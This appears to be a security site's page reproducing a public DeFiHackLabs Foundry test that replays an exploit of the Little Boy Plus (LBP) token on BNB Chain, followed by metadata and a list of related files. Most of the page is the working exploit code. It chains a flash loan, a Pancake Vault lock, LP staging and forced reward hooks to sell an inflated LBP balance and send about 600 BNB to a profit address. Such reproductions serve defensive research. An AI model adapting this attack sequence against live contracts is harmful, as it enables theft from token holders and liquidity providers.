Public reproduction file
src/test/2026-06/LBP_exp.sol
Public reproduction file for dataset entry LBP.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.15;4import "../basetest.sol";5import "../interface.sol";7// @KeyInfo - Total Lost : 610.56 BNB8// Attacker : 0xb26dfe6b6180a30e2a2d9826867cc7e06631825a9// Attack Contract : 0x5449ded887576f43fc339851e942ebc1e6f8118b10// Vulnerable Contract : 0x88886f0fd371dff856291badced45922bc88888811// Attack Tx : https://bscscan.com/tx/0x55856d9fda4c5be5193561c7d775e823c3d6e499da44aab9da963daf61c50b0c13// @Info14// Vulnerable Contract Code : https://bscscan.com/address/0x88886f0fd371dff856291badced45922bc888888#code16// @Analysis17// Twitter Guy : https://x.com/DefimonAlerts/status/206732940197753242918//19// The attacker used Moolah and Pancake Vault flash liquidity to stage LBP LP credit, trigger LBPHashrate reward20// accounting, and sell the inflated LBP balance exposed by LBP.balanceOf(). The final USDT was swapped to WBNB,21// unwrapped, and forwarded as BNB profit after a 5 BNB builder payment.23address constant TX_SENDER = 0xb26DFE6b6180A30e2A2D9826867cc7e06631825a;24address constant PROFIT_RECEIVER = 0x515788797914Cb663114aEb806B3CFb6096F6D1A;25address constant BUILDER_PAYMENT_RECEIVER = 0x4848489f0b2BEdd788c696e2D79b6b69D7484848;26address constant ATTACK_DEPLOYER = 0x202bA7498C65F9F5C49b9c90953B562F9e0538FB;27address constant ATTACK_COORDINATOR = 0x5449ded887576f43Fc339851e942eBc1E6F8118b;29address constant USDT_TOKEN = 0x55d398326f99059fF775485246999027B3197955;30address constant WBNB_TOKEN = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;31address constant LBP = 0x88886f0fD371dfF856291bAdcEd45922bC888888;32address constant LBP_PAIR = 0x00e3Ea08fD8CBaD955Ec5d2292Ad637670c31524;33address constant USDT_WBNB_PAIR = 0x16b9a82891338f9bA80E2D6970FddA79D1eb0daE;34address constant PANCAKE_ROUTER = 0x10ED43C718714eb63d5aA57B78B54704E256024E;36address constant MOOLAH_PROXY = 0x8F73b65B4caAf64FBA2aF91cC5D4a2A1318E5D8C;37address constant PANCAKE_VAULT = 0x238a358808379702088667322f80aC48bAd5e6c4;38address constant LBP_HASHRATE = 0x5E3cBc82D020be91a989Eb747934104E9AB585Fe;39address constant POL_VAULT = 0x01c87119a0D1C3730534b8d909eFeB1911b9fdB0;40address constant REFERRAL_ROOT = 0x51EDEAb1CEa55570b246b3A1E42DAba9027c5cc2;42interface IMoolahFlashLoan {43 function flashLoan(44 address token,45 uint256 assets,46 bytes calldata data47 ) external;48}50interface IPancakeVault {51 function lock(52 bytes calldata data53 ) external returns (bytes memory result);54 function take(55 address currency,56 address to,57 uint256 amount58 ) external;59 function sync(60 address currency61 ) external;62 function settle() external payable returns (uint256);63}65interface ILockCallback {66 function lockAcquired(67 bytes calldata data68 ) external returns (bytes memory result);69}71interface IMoolahFlashLoanCallback {72 function onMoolahFlashLoan(73 uint256 assets,74 bytes calldata data75 ) external;76}78interface ILBPToken is IERC20 {79 function rawBalanceOf(80 address account81 ) external view returns (uint256);82}84interface ILBPHashrate is IERC20 {85 function bindReferral(86 address upline87 ) external;88}90interface IPolVault {91 function flushPol() external returns (uint256 liquidityAdded);92}94contract ContractTest is BaseTestWithBalanceLog {95 function setUp() public {96 uint256 forkBlock = 104_727_183;97 vm.createSelectFork("bsc", forkBlock);98 fundingToken = address(0);100 vm.label(TX_SENDER, "Transaction sender");101 vm.label(ATTACK_DEPLOYER, "Attack deployer");102 vm.label(ATTACK_COORDINATOR, "Attack coordinator");103 vm.label(PROFIT_RECEIVER, "Profit receiver");104 vm.label(BUILDER_PAYMENT_RECEIVER, "Builder payment receiver");105 vm.label(USDT_TOKEN, "USDT");106 vm.label(WBNB_TOKEN, "WBNB");107 vm.label(LBP, "Little Boy Plus");108 vm.label(LBP_PAIR, "LBP/USDT pair");109 vm.label(USDT_WBNB_PAIR, "USDT/WBNB pair");110 vm.label(MOOLAH_PROXY, "Moolah proxy");111 vm.label(PANCAKE_VAULT, "Pancake Vault");112 vm.label(LBP_HASHRATE, "LBPHashrate");113 vm.label(POL_VAULT, "PolVault");114 }116 function testExploit() public balanceLog2(PROFIT_RECEIVER) {117 uint256 profitBefore = PROFIT_RECEIVER.balance;119 vm.startPrank(TX_SENDER);120 LBPAttackDeployer deployer = new LBPAttackDeployer();121 assertEq(address(deployer), ATTACK_DEPLOYER, "unexpected attack deployer address");122 address coordinator = deployer.run();123 assertEq(coordinator, ATTACK_COORDINATOR, "unexpected attack coordinator address");124 vm.stopPrank();126 uint256 bnbProfit = PROFIT_RECEIVER.balance - profitBefore;127 emit log_named_decimal_uint("Profit receiver BNB profit", bnbProfit, 18);129 assertGt(bnbProfit, 590 ether, "BNB profit below expected impact");130 }131}133contract LBPAttackDeployer {134 function run() external returns (address coordinator) {135 LBPAttack attack = new LBPAttack();136 coordinator = address(attack);137 attack.run();138 }139}141contract LBPAttack is IMoolahFlashLoanCallback, ILockCallback {142 IERC20 private constant usdt = IERC20(USDT_TOKEN);143 ILBPToken private constant lbp = ILBPToken(LBP);144 IWBNB private constant wbnb = IWBNB(payable(WBNB_TOKEN));145 IPancakeRouter private constant router = IPancakeRouter(payable(PANCAKE_ROUTER));146 IPancakePair private constant lbpPair = IPancakePair(LBP_PAIR);147 IPancakePair private constant usdtWbnbPair = IPancakePair(USDT_WBNB_PAIR);148 IMoolahFlashLoan private constant moolah = IMoolahFlashLoan(MOOLAH_PROXY);149 IPancakeVault private constant vault = IPancakeVault(PANCAKE_VAULT);150 ILBPHashrate private constant hashrate = ILBPHashrate(LBP_HASHRATE);151 IPolVault private constant polVault = IPolVault(POL_VAULT);153 uint256 private expectedFlashUsdt;155 receive() external payable {}157 function run() external {158 usdt.approve(MOOLAH_PROXY, type(uint256).max);160 // step 1: borrow all USDT liquidity visible in Moolah; callback performs the LBP manipulation.161 expectedFlashUsdt = usdt.balanceOf(MOOLAH_PROXY);162 moolah.flashLoan(USDT_TOKEN, expectedFlashUsdt, "");164 // step 6: after Moolah pulls repayment, convert all remaining USDT to BNB.165 _swapAllUsdtToWbnb();166 uint256 wbnbBalance = wbnb.balanceOf(address(this));167 wbnb.withdraw(wbnbBalance);169 uint256 builderPayment = 5 ether;170 payable(BUILDER_PAYMENT_RECEIVER).transfer(builderPayment);171 payable(PROFIT_RECEIVER).transfer(address(this).balance);172 }174 function onMoolahFlashLoan(175 uint256 assets,176 bytes calldata177 ) external {178 require(msg.sender == MOOLAH_PROXY, "unexpected flash lender");179 require(assets == expectedFlashUsdt, "unexpected flash amount");181 // step 2: enter Pancake Vault lock and take transient USDT liquidity.182 vault.lock("");183 }185 function lockAcquired(186 bytes calldata187 ) external returns (bytes memory) {188 require(msg.sender == PANCAKE_VAULT, "unexpected vault");190 uint256 vaultUsdt = usdt.balanceOf(PANCAKE_VAULT);191 vault.take(USDT_TOKEN, address(this), vaultUsdt);193 // step 3: use staged LBP/USDT liquidity and PolVault side effects to mint hLBP credit.194 uint256 firstBuyUsdt = 1000 ether;195 uint256 dustBuyUsdt = 1 ether;196 uint256 pumpBuyUsdt = 15_000_000 ether;198 _buyLbp(firstBuyUsdt);199 uint256 firstStageLbp = lbp.balanceOf(address(this)) * 99 / 100;200 _transferLbpAndBalancedUsdt(firstStageLbp, LBP_PAIR);201 polVault.flushPol();202 hashrate.bindReferral(REFERRAL_ROOT);204 _buyLbp(dustBuyUsdt);205 _buyLbp(pumpBuyUsdt);206 _stageSecondLbpLiquidity();208 // step 4: force hLBP hooks and harvest LBP rewards, then sell the inflated LBP balance.209 lbp.transfer(address(this), 0);210 hashrate.transferFrom(LBP_PAIR, address(0xdead), 0);211 _sellAllVisibleLbpForUsdt();213 // step 5: repay the Pancake Vault transient delta.214 vault.sync(USDT_TOKEN);215 usdt.transfer(PANCAKE_VAULT, vaultUsdt);216 vault.settle();218 return "";219 }221 function _buyLbp(222 uint256 usdtAmount223 ) private returns (uint256 lbpOut) {224 address[] memory path = new address[](2);225 path[0] = USDT_TOKEN;226 path[1] = LBP;227 lbpOut = router.getAmountsOut(usdtAmount, path)[1];229 usdt.transfer(LBP_PAIR, usdtAmount);230 lbpPair.swap(0, lbpOut, address(this), "");231 }233 function _stageSecondLbpLiquidity() private {234 // Trace reads the pair LBP balance, then stages 3/8 of it with proportional USDT.235 uint256 pairLbpBalance = lbp.balanceOf(LBP_PAIR);236 uint256 stagedLbp = pairLbpBalance * 3 / 8;238 (uint112 reserveUsdt, uint112 reserveLbp,) = lbpPair.getReserves();239 uint256 balancedUsdtForPairBalance = pairLbpBalance * uint256(reserveUsdt) / uint256(reserveLbp);240 uint256 stagedUsdt = balancedUsdtForPairBalance * 3 / 8;242 lbp.transfer(LBP_PAIR, stagedLbp);243 usdt.transfer(LBP_PAIR, stagedUsdt);244 lbpPair.skim(LBP_PAIR);245 lbpPair.mint(address(this));246 }248 function _transferLbpAndBalancedUsdt(249 uint256 lbpGross,250 address lpReceiver251 ) private {252 uint256 pairLbpBefore = lbp.rawBalanceOf(LBP_PAIR);253 lbp.transfer(LBP_PAIR, lbpGross);254 uint256 lbpNet = lbp.rawBalanceOf(LBP_PAIR) - pairLbpBefore;256 (uint112 reserveUsdt, uint112 reserveLbp,) = lbpPair.getReserves();257 uint256 usdtAmount = lbpNet * uint256(reserveUsdt) / uint256(reserveLbp);258 usdt.transfer(LBP_PAIR, usdtAmount);259 lbpPair.mint(lpReceiver);260 }262 function _sellAllVisibleLbpForUsdt() private {263 uint256 lbpAmount = lbp.balanceOf(address(this));264 (uint112 reserveUsdt, uint112 reserveLbp,) = lbpPair.getReserves();266 lbp.transfer(LBP_PAIR, lbpAmount);267 uint256 pairLbpInput = lbp.rawBalanceOf(LBP_PAIR) - uint256(reserveLbp);268 uint256 usdtOut = router.getAmountOut(pairLbpInput, uint256(reserveLbp), uint256(reserveUsdt));269 lbpPair.swap(usdtOut, 0, address(this), "");270 }272 function _swapAllUsdtToWbnb() private {273 uint256 usdtAmount = usdt.balanceOf(address(this));274 uint256 wbnbOut = _getAmountOutFromPair(usdtWbnbPair, usdtAmount, true);275 usdt.transfer(USDT_WBNB_PAIR, usdtAmount);276 usdtWbnbPair.swap(0, wbnbOut, address(this), "");277 }279 function _getAmountOutFromPair(280 IPancakePair pair,281 uint256 amountIn,282 bool token0In283 ) private view returns (uint256) {284 (uint112 reserve0, uint112 reserve1,) = pair.getReserves();285 if (token0In) return router.getAmountOut(amountIn, reserve0, reserve1);286 return router.getAmountOut(amountIn, reserve1, reserve0);287 }288}Analysis
Dataset entry
Public Foundry test for “LBP” (2026-06-17). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
24 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/basetest.solImported by this file · 142 lines
- src/test/interface.solImported by this file · 6133 lines
- src/test/2026-06/AIDC_exp.solSame month in the dataset · 198 lines
- src/test/2026-06/AISOTHPresale_exp.solSame month in the dataset · 125 lines
- src/test/2026-06/AmbientCrocSwapDex_exp.solSame month in the dataset · 262 lines
- src/test/2026-06/ATM_LP_Burn_exp.solSame month in the dataset · 108 lines
- src/test/2026-06/ATM_exp.solSame month in the dataset · 195 lines
- src/test/2026-06/AztecConnect_exp.solSame month in the dataset · 127 lines
- src/test/2026-06/AztecEscapeHatch_exp2.solSame month in the dataset · 195 lines
- src/test/2026-06/AztecEscapeHatch_exp.solSame month in the dataset · 77 lines
- src/test/2026-06/BOSS_exp.solSame month in the dataset · 142 lines
- src/test/2026-06/BYToken_exp.solSame month in the dataset · 106 lines
- src/test/2026-06/CookFinanceIssuance_exp.solSame month in the dataset · 259 lines
- src/test/2026-06/DIP_exp.solSame month in the dataset · 139 lines
- src/test/2026-06/DLMC_exp.solSame month in the dataset · 160 lines
- src/test/2026-06/DTXT_exp.solSame month in the dataset · 166 lines
- src/test/2026-06/JB_exp.solSame month in the dataset · 198 lines
- src/test/2026-06/LixirPermitDrain_exp.solSame month in the dataset · 251 lines
- src/test/2026-06/NovaBox_exp.solSame month in the dataset · 219 lines
- src/test/2026-06/OceanBPoolSideStaking_exp.solSame month in the dataset · 159 lines
- src/test/2026-06/OLPC_exp.solSame month in the dataset · 301 lines
- src/test/2026-06/RoyalRoyalties_exp.solSame month in the dataset · 196 lines
- src/test/2026-06/Thetanuts_exp.solSame month in the dataset · 172 lines
- src/test/2026-06/TOPBPool_exp.solSame month in the dataset · 143 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0xb26dfe6b6180a30e2a2d9826867cc7e06631825a
- Attack Contract
0x5449ded887576f43fc339851e942ebc1e6f8118b
- Vulnerable Contract
0x88886f0fd371dff856291badced45922bc888888
- Attack Tx
0x55856d9fda4c5be5193561c7d775e823c3d6e499da44aab9da963daf61c50b0c
File record
- Name
- LBP
- Path
- src/test/2026-06/LBP_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 2887cddd2bff95d64f171bd161a5d7cf91f17bc3
- Language
- Solidity
- Size
- 289 lines
- Date
- 2026-06-17
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2026-06/LBP_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 2887cddd2bff95d64f171bd161a5d7cf91f17bc3, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.